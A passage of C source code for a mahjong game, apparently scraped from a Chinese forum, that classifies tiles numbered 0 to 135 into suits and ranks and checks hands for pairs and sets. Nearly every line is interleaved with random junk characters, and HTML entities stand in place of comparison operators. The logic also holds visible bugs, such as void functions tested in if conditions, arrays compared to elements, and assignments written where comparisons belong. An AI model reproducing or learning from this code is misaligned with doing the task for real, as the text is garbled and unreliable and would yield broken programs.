  S! M1 d& g& M/ b; k3 N* Aelse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48)$ N! s" S# Q& T+ @
logoo=4;
# x. |: ^0 D$ x6 h. R0 e: R4 W# Lelse if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)
- p1 e! {. q) R$ ylogoo=5;
/ v( f' i" {; P9 |: L$ a1 Felse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)0 c5 c5 }6 l* h$ z
logoo=6;; ~$ f7 G- e8 Y3 f& \
else if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)8 j7 t% x- D- ~; ]: e
logoo=7;
9 C7 g- b+ g: i1 ~" Felse if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)- y# @3 O3 [6 v- w3 [
logoo=8;, i4 s- n) x" O$ Z' M3 y5 G1 P
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)
7 C7 N% l& z$ s$ ]  clogoo=9;
% ]1 \. S- D2 ^( s3 L}
! n) b: K. t* {0 S" W, K; lelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)
$ F+ {" i% r5 |; V% \+ h{' w5 A: w# x# p2 l) C8 y  {* D* u0 o
logo=3;; p% f8 a2 a* [4 e4 U
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)
. `. O6 v& S8 B3 d0 y- ^4 rlogoo=1;
# O  b, r- n( H. J9 p1 Kelse if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
- n7 t- T8 `. R* K, c3 ]logoo=2;$ W" e. c, a1 E2 Z# G3 ?5 `
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)
, I3 Z$ Q: e7 y4 T# R5 D- k3 wlogoo=3;
/ r! E3 w! E% v1 A0 b% Y) @; oelse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)$ f- e# W' `% ]8 b4 t1 i
logoo=4;
. K2 P# D3 y& b& _7 J& m9 W: K; Celse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)! S0 i& T$ V: {! d9 y* |
logoo=5;& M# B1 A' C' k9 `$ F8 G! w/ M* A
else if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)6 B7 I4 g  ]+ T# I  u( }! |
logoo=6;
6 e, r1 A+ n7 ^" q/ Welse if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)- ^+ c( O% k# K' m
logoo=7;8 e' l3 a- W: B! \: R* j& T" |5 R
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
! I& O. r4 S' v" Z1 f% elogoo=8;
8 l/ O# m7 I( @& Gelse if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104)
. L+ e* }1 @: C. n+ q+ alogoo=9;
9 }0 m( X- E2 c! r+ d$ P}3 K" r2 q( V& b" t
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)3 h- T8 Y9 l9 y" A, O
{
  U4 {  C: R0 a! Rlogo=4;) F; V7 z+ z2 ]5 [& i1 V% `4 m
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
, E0 D! k! L9 g6 G+ q" ilogoo=1;
. @0 H0 Q) M* I3 m; R9 J$ p6 \else if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)  i3 A- P1 j" ^2 I' k1 y
logoo=2;) [" [2 L8 v& X; ]6 U7 q! s
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)7 I: s& Y6 {4 R4 H' O
logoo=3;  [9 g2 A/ f+ q8 A' N% c& y
else if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)& A3 P8 b1 F  }
logoo=4;
( B3 F# n' L' a4 D2 kelse if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)8 B$ b7 f0 g* j* Y
logoo=5;
  ]0 R& y3 K% i* Lelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)' a& O4 ]0 @- b6 F% y
logoo=6;
: I; i, j" X5 L* j. Q0 _else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
( s; j: J* Z7 @logoo=7;2 E4 \- n- c' M3 q
}
0 y0 d7 A& i0 P( o  |7 Pwhile(b&lt;=me.m)
8 [0 E" e+ @2 Y1 b% c/ z{
2 u  H4 G0 z5 iif(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/7 J8 q: _1 l; M6 k& j* }& c$ R
{( d1 y- v. `& t: y$ Q$ q4 v
lg=1;
# j2 {3 g9 ~3 T6 _8 q/ f) `! j& s- M3 x% Xme.pp.d[0]=1;& @/ y' h0 e" U2 B, G7 W
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)' ~3 L1 d$ ]5 n* M5 A/ H# L
{4 P3 g) g7 o6 w' @% m
lgg=1;
5 h% V+ u- G3 }. @me.pp.d[1]=1;7 M# _! Z6 D. W4 p' j5 V
}6 x6 R( a/ [# V7 z
else if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4)
+ F" D/ S" Q% y7 ^9 C( K8 E{
& v% w7 h3 a" P( g' Q) I: `: m2 q# X' nlgg=2;( o% K6 ?: `5 D9 h
me.pp.d[1]=2;& y5 n+ o0 a9 B9 J. J9 {
}
, J: J( W& L. e7 Z4 f! S, ]# W3 celse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8), K4 s1 o" g9 l/ R) Y9 l3 X" _/ W/ w
{: ]$ e  n, M7 L0 Q
lgg=3;
: A8 r# x$ `0 {& h$ k$ Zme.pp.d[1]=3;6 v. Y+ ~' a" u( R9 p% d
}; D& I% U0 \% R2 e" z6 h  Y5 P" H8 _
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
( R- B3 q5 Y# U0 A+ r/ c- I7 y8 c( W{
; @/ r$ S/ {' k3 j; M" Q5 V  nlgg=4;
, ?2 e( `# Q. A' |( u3 f9 W6 {me.pp.d[1]=4;4 n9 f) o/ t. S* V  y. X
}1 e- G( L! U* d; c9 A- }; [
else if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)
+ x/ i5 y+ `- Y{! c. R+ L: |1 F: n; {/ f
lgg=5;5 H4 E& B( F0 y: n. S& W3 T
me.pp.d[1]=5;6 @6 G$ p# b; u
}
. Y  v  K) U$ L2 \- i# z4 Helse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)! g) B( `+ o# f6 l8 A0 Z+ f
{
# J% n& x- x, _# P# }1 U& B. jlgg=6;/ P; C' e5 B% u; x' V
me.pp.d[1]=6;, i) w/ K/ D; ~1 R( Y
}
* `$ ?( o. p7 d% Y: p, Kelse if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)
3 M" X* o  A8 c8 Z+ D7 Z$ l" m{% h  W( }9 H- A* ?: Q+ _3 `9 |
lgg=7;, F; i5 W" i( ~! G1 z( E, d/ [# U
me.pp.d[1]=7;
0 A3 a7 A. m8 P! x: ^}& f( Q+ F$ t$ A$ U  a
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)
( M8 {" g6 [/ @8 ?' i{* \2 L: \2 y0 i: r+ V
lgg=8;& V- q; U; c/ _! Z, i
me.pp.d[1]=8;
6 t8 Q/ Z1 B4 W2 K* z  X}
# K  i; G$ z) ]% h6 d  Gelse if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
' |' a9 t; r' t. m{
! ~) C. t6 R/ m. p2 ~lgg=9;! f: U' h! ?. C( e& F2 k
me.pp.d[1]=9;$ u0 f- j: [3 z
}- ?) n* q  Y* j' O9 U
}3 }$ X; r+ f2 P# k  c2 ^" z/ Y
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
/ y- V( Z/ S0 q{3 X3 \* D3 u' U6 O3 K4 N; F
lg=2;
# N6 _4 `; o' W$ G' ~0 lme.pp.d[0]=2;
# y  I" a7 q/ A  Oif(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
5 ?/ H. V' U5 d$ R{
0 o: Y0 A" O- j. u. d; d# {/ k8 Qlgg=1;$ @1 G" Y9 a0 K5 b1 t4 ?% M( \: m
me.pp.d[1]=1;  g3 {7 E) X/ Y, X3 g
}
7 ?7 @% w' ]+ f, W8 gelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)/ A- Q( o- Y+ _0 {% U
{
, f0 L; L! N: H( Nlgg=2;
: C! _4 m0 G6 g  l/ r* Ome.pp.d[1]=2;
! ?! H; C# ^1 c# }}% P* `3 G' ?0 V) f: |& s
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)
+ m9 ~3 ]+ N( w9 y1 w{  J% k' e) [4 ]# n& w1 C
lgg=3;
- z* \" G( X. |' F# w2 K) |% R) M2 wme.pp.d[1]=3;# x5 y3 g& x2 S  P4 K
}
3 L1 p& ]" ~2 b9 U( N0 welse if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)7 }8 F6 ]) j1 Y
{- O# e1 A4 n. Z) t3 C, B' S8 d
lgg=4;0 s4 E3 L" q- O+ z, \$ H6 i( K
me.pp.d[1]=4;* L  {# v4 b8 L9 \& t/ H
}
- z, ^/ J  ~! k  qelse if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)
0 {( a# A% Q3 `" G{
3 q4 {. O) w$ [1 C2 d& V( tlgg=5;( u! h6 Q( ^0 p/ H
me.pp.d[1]=5;
- }  e: s8 n3 l% K7 T; C% [' Q}- a4 N* r% s0 @( B
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)9 [: y0 C5 _6 ~5 y2 I. L# K
{
: Y' ?# }* M) j" R! J. {lgg=6;& L+ `# p, P! k, h
me.pp.d[1]=6;
. S* }" q- _- d  E% Z. t}$ C# l% }/ z5 R: s" G
else if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)
7 Y5 \% Q! m) n0 D. Q5 F" G" Y8 ?{
- |3 t  x0 p* I# Y$ [, Slgg=7;) N  W' d6 v- l7 b7 I1 L' X
me.pp.d[1]=7;& P0 D6 Q/ X4 }- T. F& g8 I
}+ B4 q$ B3 ^$ _. f" b$ @$ N, |
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)9 `8 f. X3 j0 |% m' a8 `% E& e
{* X8 A  X& E+ J# s/ q0 J" H
lgg=8;
9 B" ]# r1 C- w" U/ c' n6 x2 Zme.pp.d[1]=8;
4 i) H" V2 a- x8 c}1 N; ?0 b3 Q: G. Q
else if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)
5 }  Q5 D( W" n8 `8 h3 i; [; V{; E) I8 r  ~3 U
lgg=9;! I! k  y2 y: M' I  E, K, ]/ S
me.pp.d[1]=9;+ V; ^2 `' ?# E* i1 A
}
! m7 A5 X4 O4 v1 x# s# K8 O- @}
' W" d- [% Z& h6 c$ x& F( g' U' Nelse if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)- l2 }" r- r. d0 ~0 V
{
6 z' Y2 x/ t- I: q: u& M) Ylg=3;" S! k! l9 k, W  y5 {% K
me.pp.d[0]=3;
5 `2 o9 I* X0 _2 K8 m$ ?if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
/ p+ c/ u" A" C' N{& h  X3 X5 C. C/ _3 d& C
lgg=1;
% Q" N* \4 `6 R; P* C/ ~7 _0 Sme.pp.d[1]=1;
6 s) Y" k  h) T# l: z! r, D}2 j4 t0 B7 [6 [1 K
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)3 x8 M+ r- T7 A1 N
{9 h9 R( {/ ]$ m6 ?8 @! l1 l% m
lgg=2;
# F( a# Q$ [; ?# Mme.pp.d[1]=2;
0 B3 y1 [& k2 \4 S( M7 k; f}# v+ ~# e5 Z' Y3 L, `: S, _+ R: g
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
! c7 ~1 ^7 m- h1 ]' v5 G{9 f6 @( H0 K2 I1 p4 Z
lgg=3;
! |" W6 L8 U* ^% p* o3 p; D! Ame.pp.d[1]=3;  g0 p# m6 m: ?% x8 C  H0 z: v) v- B, W
}
) o# d1 G0 f7 w* f7 y' zelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
5 l- I' k# L8 G  S/ B{. p3 z$ |( v" f7 e$ a% ^
lgg=4;, M0 l+ T: Y3 g
me.pp.d[1]=4;; B* u6 D' B1 k" G4 X: Z2 n$ q# E
}
3 Q( v, E  V& W8 ?: L; @else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)0 C$ t' Y! \( z6 s1 e8 s6 R
{
/ l8 l. T4 D0 }9 O$ P% wlgg=5;
% x7 k; f* N4 p1 \* m5 _8 ~me.pp.d[1]=5;( W4 V3 c- f3 Z. Z# D0 t7 C/ R
}3 K) h% |' J# ?* a7 \
else if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)& j2 l' ~& e0 E! E" ~0 ]
{
  ^$ T- s8 ]* q/ E* h- `lgg=6;+ P6 ]  q" d) [. ^$ }% t# K
me.pp.d[1]=6;
) K2 e* S( m. `* X2 J9 @% M. E6 p}
8 d; H- u6 I# Melse if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)& O7 b9 Z- @( [/ @
{
5 G; V# }3 J, D5 @4 z$ J$ |! wlgg=7;
' ]7 s& C! F) A* b7 U! S2 W4 rme.pp.d[1]=7;
7 M: ?! X; b7 d5 m1 p4 ^}; g" N6 y; S( h& N( E: P
else if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
0 {1 y; G: d3 p  s{
! h6 P0 u3 P# |7 I6 glgg=8;9 [* f6 O- b' |% ?! `2 l
me.pp.d[1]=8;
* {4 r6 B9 V8 t- Z}, }% `1 @9 K" O- j) F! s' m3 z$ y
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)
& l* B6 C# ~) O$ H0 z! @' K4 g{
4 Y$ M) d0 U! ~4 n. d" M0 olgg=9;
; W; I" h# f/ f+ J  C! F7 D* Gme.pp.d[1]=9;
+ p: D5 V$ L. w7 c" N2 [; [}5 `0 e! v! P4 \+ ^1 j3 k- m) ?
}
; Y7 @! m9 i9 V% y, helse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108)
0 k; _$ U, v- L; \{5 I( I5 ^: Z! }6 k% o$ c3 s
lg=4;. t0 j! m( S7 ~3 Y
me.pp.d[0]=4;
8 w  B  M; }/ c' D" |if(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)
, Q' `7 N0 S9 M- L- c$ s3 r, L" q{. O& @& m' s" A' u* T" m
lgg=1;' t* u, u+ h. l* u4 z+ G
me.pp.d[1]=1;( a' c" R8 G9 Y4 {& y
}- t3 f7 {: u& G6 m) a* p
else if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
0 T! R2 c3 O  ]{
3 J, u( @& u/ y  [5 k  C8 [- g7 {0 |lgg=2;4 b( u, y9 n2 i7 j
me.pp.d[1]=2;5 d5 a% F+ u# z
}( E5 Z% @' v/ ]3 K! I/ x& G
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)3 I+ l( @0 L% e5 Q& }& ?# `; v
{! i, c, e8 ^9 P$ W$ b% N$ g
lgg=3;6 \' }  T  N" f) w3 p6 w2 ]; h; |
me.pp.d[1]=3;
0 P  I' h) [: r}; Z" P5 s# v; `5 d" j" n7 Y
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
, j: x' S  d2 `; p{$ p7 i+ I! _4 n6 ?; o) l0 P
lgg=4;$ P0 v2 i6 c% K6 X9 l9 U  z8 v
me.pp.d[1]=4;
4 w4 X4 N1 ~1 e- B5 u}9 F: o( w1 X: `) W) t% s1 b
else if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124)3 K( m! L3 |- G) m4 i: v6 f
{/ K! e! @1 e6 l/ ^& T
lgg=5;
& P: s( N& s' C5 t4 G& xme.pp.d[1]=5;
" F+ J7 t" [& X: W0 O' e}2 |( y% I8 Y7 @/ U1 s1 X
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128)# p3 r, Q% c8 x/ i8 r) c2 W- O) d. r1 d4 |
{
; k4 e* Z# p# X% H1 ^lgg=6;
* d! Z/ {3 s9 U5 D% H4 G+ xme.pp.d[1]=6;1 y7 S2 f+ E7 a% y
}
+ J" s) m9 A% \- O$ N' G6 Relse if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132)3 a7 Z2 k8 v0 l9 V
{
" O6 q' y0 F+ W/ blgg=7;+ Q" A' K/ N4 m, W% L; I$ f
me.pp.d[1]=7;& ]7 r0 R( D1 u: ]: f& v1 w
}
9 m( S* E( c/ F) f+ d. O}- j. \, t, H" J0 a% x
}
' v, X& @) @  `, M}+ w8 t/ `  y& M& R" K1 t
void istwo(testt), m; D6 |* t7 C5 h! Z( s
int testt[];) N! n' S( \' R8 i  v
{ if(testt[0]==testt[1]); H5 n$ M! q  T
second++;
3 b3 L+ X- r& I% C; \( y+ H6 C6 \}
# B1 {4 o! a* t+ H5 f$ H' Cvoid isthree(testt,n)9 h/ |' s- d- U$ |. u
int testt[],n=0;1 {) b) G% O7 M. Z: w2 k( j% v
{ int i,j,flage=0,lianx=0,same=0;6 J' K- s# R3 R
n=n/3;
4 N& e5 a/ j% i0 t3 B- [% xfor(j=0;j&lt;n;j++)
+ t5 ^0 R" ]) U  O; ~8 o+ @{
# }- k4 H% P, [: [$ gfor(i=j*3;i&lt;2+j*3;i++)
2 }' e" j% {7 l) s5 |{# w8 W  }; O' B" k; h
if(testt==testt[i+1]); t4 r. [, e+ n5 [
same++;
9 `) B: b$ S( k+ ~if(testt[i+1]-testt==1)
  X6 b) A* ^# H  p. K9 p! ?+ Rlianx++;4 y2 u  {1 K9 {, D. c( f8 V( Z! h
}+ e9 T7 N; C, m% _7 w9 X4 G/ C
if(same==2)$ P2 R7 i8 x% p% z, L; i4 P
threes++;6 _, e2 f% v5 ]7 o; w
if(lianx==2)5 [% V- r3 Z/ U5 b( N
threes++;2 u2 L$ c5 p# H
same=0;
  ]/ l! g* h' D- wlianx=0;
9 m$ E; N' y, K% l6 o( s8 A( J}" l  i. l& X5 S/ f( {6 Z
}
* V* j' b( b* |) y3 I* `7 ~void panduan() /*本程序的精髓*/; a" t& u# ?0 {+ m8 ~$ x
{int data[14];, Q2 C1 _5 V' D. g
int pw[14];
; n# x# K1 z: ^. ^$ sint pt[14];! }: ^/ }; H, S8 }
int pi[14];
6 ^- Z/ G8 y# r6 @2 R* l5 A/ }int pf[14];' x9 a3 z! Y& W* r9 K
int test[12];
  V" d" C& {1 z4 J( rint jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;
. W" U( e3 \. p: [for(jj=0;jj&lt;=me.m;jj++)
! l! c5 g' h0 @: }' Y2 J: \{4 K* P4 o) v; X3 p6 [2 z: o/ G
if(me.pp[jj].d[0]==1)! O6 N2 a1 E) V8 e. N
data[jj]=me.pp[jj].d[1];( p) D$ K! h6 w) {
if(me.pp[jj].d[0]==2)
, S. l3 [* U% J7 j& ^% \+ }$ Z) Gdata[jj]=me.pp[jj].d[1]+10;
' C5 X7 R' k- w) gif(me.pp[jj].d[0]==3)
) v% L0 Y5 O+ s$ C# _1 L* w1 ndata[jj]=me.pp[jj].d[1]+20;
* `  A2 n& f# K, @" Uif(me.pp[jj].d[0]==4)% t! ]! Y) \% d3 @' S& [, R) L
data[jj]=me.pp[jj].d[1]+30;
: i  x* v& |9 s6 O}8 I2 L/ R$ _! }6 p- E" ?' s4 |
if(logo==2)
6 q& y' P9 x# g1 `- x( mw=logoo+10;
0 j1 D0 s! }9 P% H% hif(logo==3)
# k9 c* K& I" R1 U0 j* xw=logoo+20;
* n$ J  ^- z3 |9 lif(logo==4)
' D# q+ M  b" Z# ?( h" ], ^+ Uw=logoo+30;. j6 f6 D+ L0 m$ [
data[computer.m+1]=w;
( M8 Q0 h- q, y' f, G, h3 hfor(mm=0;mm&lt;=computer.m;mm++)
' K2 M% v9 N5 {3 O2 B& Ofor(nn=mm;nn&lt;=computer.m;nn++)% E! h0 s6 `/ q8 \1 t7 z
if(data[mm]&gt;data[nn+1])
0 ]; v, c# N4 Z0 j" e5 y9 `2 P: G{1 k1 K9 m! e9 ~2 [
tpp=data[mm];
, c! P: l+ i4 d, S) xdata[mm]=data[nn+1];
* i& C6 ?% a. o2 j+ C; qdata[nn+1]=tpp;
" m! y7 D3 _$ t. e}
  M2 w/ p5 t( r# Y- r: W- xlp=0;
1 \# Z; `. d. E+ b& D$ O$ {" X4 e" Cwhile(lp&lt;=computer.m)7 |/ T6 r8 W! h2 I/ \8 p& L$ F: q; {
{ if(data[lp]&lt;10)
% ^: f+ J9 j& G  ^1 z, kpw[ww++]=data[lp];
) _$ p0 ~& C- V$ @- |! @if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
6 o; \2 {& v% n6 Qpt[tt++]=data[lp];. w% I" D% n8 m) G
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)9 M% T3 x+ H. ~9 l2 d8 U
pi[ii++]=data[lp];+ [1 |# E, n% Q; n) p1 ^
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
0 E1 B5 b, d$ F1 [pf[ff++]=data[lp];
# w, o$ E5 Y) I  B( [: h% m6 L6 ]0 Hlp++;1 ~5 f- t% }; k  H
}. }" {& C/ w: e3 a+ t; Z9 X4 M
if(ww==2)
5 f, G& h) R" a- t" J. v; e3 vistwo(pw);
4 G4 c4 t/ Q) g+ ?4 S% X4 Q  selse if(ww==3)
0 N/ G, d2 N$ K' N9 xisthree(pw,ww);/ l2 V5 C+ s2 _: O; K) v
else if(ww==5)! }" }3 C" ^. q
/*pw[5]原始牌数组,假设已经升序排列*/
; w6 c3 i' q0 G3 p5 {/*test[3]用来放置测试牌的数组*/5 O  f( X* u4 V, z" m" g
for(i=0;i&lt;4;i++)" B5 ?7 T1 p" U+ n6 C" h; a
{  H* K) h9 D1 m! l/ c. D
for(j=0;j&lt;2;j++)( b5 _0 a/ \; `/ |' i7 X7 k: y- H
{test[j]=pw[i+j];& p: `- B3 p; d; K) j+ p- Z7 D
}
' l$ H! J* n  r  U; C. ]if(istwo(test))& A) _3 \5 S1 ]" R3 o+ |
{ ill=0;
2 v7 u5 T" }- J" ^4 |, ffor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*// E" ]# s' c6 o, f* b
{if(kl==i)
6 d- u9 p9 a% I& u; ^3 x+ ?{
5 y6 V9 T/ l# w& lkl=kl+2;7 H3 T- o+ o6 i  a8 s$ r. E
if(kl==5)+ _" f' k2 |( r( r9 A. h. ^; P
break;2 z1 v) h- W1 V; _) s/ m# N
}
! Y4 ^9 ^+ a8 t5 L9 H4 ^test[ill++]=pw[kl];) u$ O* ~* _6 C( T8 Y
}
! B" \/ b% C8 Oisthree(test);# c8 q$ Z  E8 Q: P* n2 x$ q1 {
}
1 ?4 {) H2 F3 W% W. ^  [8 r! b}
( p/ @" E% F4 B5 D, J# b5 x" ?else if(ww==6)
7 Z7 ~% \& \4 ~% _! Xisthree(pw,ww);   S4 f" u. N: F* p, X; X0 |
else if(ww==8)* H/ x/ R) u8 ^
for(i=0;i&lt;7;i++)& T% U3 o! Y- i! z/ p$ _/ Y
{/ A: ?# W5 L1 X  j* W1 H
for(j=0;j&lt;2;j++)
) W+ L5 `/ V% F. e: L! P4 Z{test[j]=pw[i+j]; ; k: W# D) z( _# L% k, \8 U* u# c9 y
}9 \0 h! G0 Y8 a+ p' N
if(istwo(test))' @( A: ]" n; W5 Q
{ ill=0;" v# }0 X) \. P, i5 l/ k
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
" N8 k, F, e# e& ~3 K{if(kl==i)8 f- B2 y. }2 \% G9 q
{8 [9 ?% G& ^. u- h* N# m2 [. o
kl=kl+2;
" R9 w- B& g" K% u$ gif(kl==8)
5 R8 z7 u, i- ybreak;$ a1 G8 N7 Y, i$ h. D
}
1 S4 O3 b, P2 \, l  j/ J' ]test[ill++]=pw[kl];& c" K) d  g6 B1 G
}- M. k- l6 x7 Q$ L5 |/ r1 S
isthree(test,ww-2);
1 m; Y5 ~- H# D5 i}+ U% ^) u1 T  \5 D4 Y
} 0 K8 E8 r5 H; T
else if(ww==9)5 p) z1 n1 n3 v5 n0 s/ U8 b& E
isthree(pw,ww);
: l7 ~2 t  [9 E; T$ Uelse if(ww==11)
! m( X5 }% a9 m/ efor(i=0;i&lt;10;i++)
: ]% z/ h4 w* A6 D8 c{
& y" \* E0 ^8 r# _* q# W* [for(j=0;j&lt;2;j++)
3 G$ }! V: c0 D- R{test[j]=pw[i+j];
* f- t& @9 C) F$ ]}( @2 Q- N* s( J* z5 l
if(istwo(test))! v; `0 r8 T8 W: f
{ ill=0;3 I2 \% ^  d' t" W) n7 `9 T
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
3 R# ~  N( e( O{if(kl==i)
5 |5 [3 G# z6 i5 F; N3 ]{# C; |5 Q  a4 W3 [+ _) [% q: l
kl=kl+2;
) f, l% l# N3 T; sif(kl==11): d6 \8 L2 O* K6 l) b9 g
break;
& z3 a- A4 B1 B  k  q$ }}: `, U7 \! M( B. U: X
test[ill++]=pw[kl];
% F8 p' p$ q& q8 Y$ l* D% Z}4 z6 ^& f. Q8 D- ]3 g; J
isthree(test,ww-2); $ q# B% I8 g& r" J# ?
}$ N+ Y) H5 l1 v* x7 m
} % W3 }2 l! ~" x3 \' ]1 @
else if(ww=12)
) o) P5 [  S7 O& }6 pisthree(pw,ww);
3 G! ]5 d: z1 _. eelse if(ww=14)1 O; ~& R+ h' P1 x8 {& i
for(i=0;i&lt;13;i++)
1 [* K6 r6 q/ [- `{
) E2 A+ |  j4 }7 u. Xfor(j=0;j&lt;2;j++)
3 P. B) M4 J1 z; e: R{test[j]=pw[i+j];4 l7 P$ R. i/ o9 u7 C) @0 v
}
' ~+ s5 s+ @! s9 Mif(istwo(test)): N) E, S. H% P" W
{ ill=0;; M- ^0 t, q( l. ^7 h* W
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/( Y3 N" s9 Y: Z) I7 }  k
{if(kl==i)1 |% k! I! |, f+ R6 H
{
: _$ F8 j. A- n' ~kl=kl+2;+ e1 m$ Q0 c" r, n) q5 N. _& I5 `, l
if(kl==14)
1 S! e# G( W8 g6 R7 H+ Bbreak;, {! ^" m& H9 V0 j- C
}
8 r( c/ I$ b8 f' y  S$ ktest[ill++]=pw[kl];
3 V; \& W8 |1 K+ d( Q* z}
# O$ I: l9 W# z$ q1 }' m* zisthree(test,ww-2);
7 b" U7 y$ M! O" w+ N: Y}
" L7 m9 f( `! m' l% L! ^  {}
4 S3 v! j1 G" N: Y0 g1 Dif(tt==2)
4 m% f: T$ L/ [' Gistwo(pt);
: F9 D% j" o9 V9 J; Melse if(tt==3)
: f1 s: F' @$ G' \5 ^isthree(pt,tt);
3 Z; q7 B( N2 K5 I& b8 relse if(tt==5)
! U' E: ?7 T- F8 ~9 ~, O" Z/*pt[5]原始牌数组,假设已经升序排列*/
7 P' @% {0 c/ W9 d  w' ]/*test[3]用来放置测试牌的数组*/
, l# E$ t/ V0 y/ c* n6 ffor(i=0;i&lt;4;i++)# x) N; e9 G  }. [. x
{* e9 T( g$ O, D+ z
for(j=0;j&lt;2;j++)% ?- v; q3 z: I0 g2 ~' o
{test[j]=pt[i+j]; ! H! ^7 B% r" V7 T/ \$ c0 E
}
9 W% E1 J" B4 L: rif(istwo(test))4 x. p5 `/ i0 P0 V. b- n' d  c+ X
{ ill=0;
8 w( Z' J) c& ^; g' R, ]' a( Vfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/" l: a; P, r9 L6 F+ B0 [( X
{if(kl==i)
7 r8 T# x+ J" @% F; p' U{
2 e' {- G; K5 {+ ekl=kl+2;
  |0 ]$ Q6 i" Z& Oif(kl==5)
0 ^* {3 j; v- Hbreak;
& x7 W- ]: i- f: y. R& w5 q}+ W. j( f1 M8 D% J
test[ill++]=pt[kl];* P. e- a) \  e( a" f
}
- ^& p# i8 C- X6 }isthree(test);
1 ?/ u! h2 q7 y) J! H3 D% Q}' Q! d6 u# c" b/ d7 T% d
}
) V( n' K/ h4 ?8 Q# w0 A# Jelse if(tt==6)- ]8 W0 l7 a2 i$ `$ U0 d: o/ I
isthree(pt,tt);
* z2 ]8 b" }" O! x4 Oelse if(tt==8)( G; w- L. X: R! w, x) {/ X1 C
for(i=0;i&lt;7;i++)
/ H/ [1 t% H% W  t{6 D/ S+ S- G/ n6 l
for(j=0;j&lt;2;j++)- o" U3 X1 i+ b2 T" L
{test[j]=pt[i+j];
8 E( ?% f/ _4 D+ v9 M7 k* H}0 E* a! I9 R9 o  N* f, e/ I# s
if(istwo(test))" y& u% d1 _' t" Z
{ ill=0;
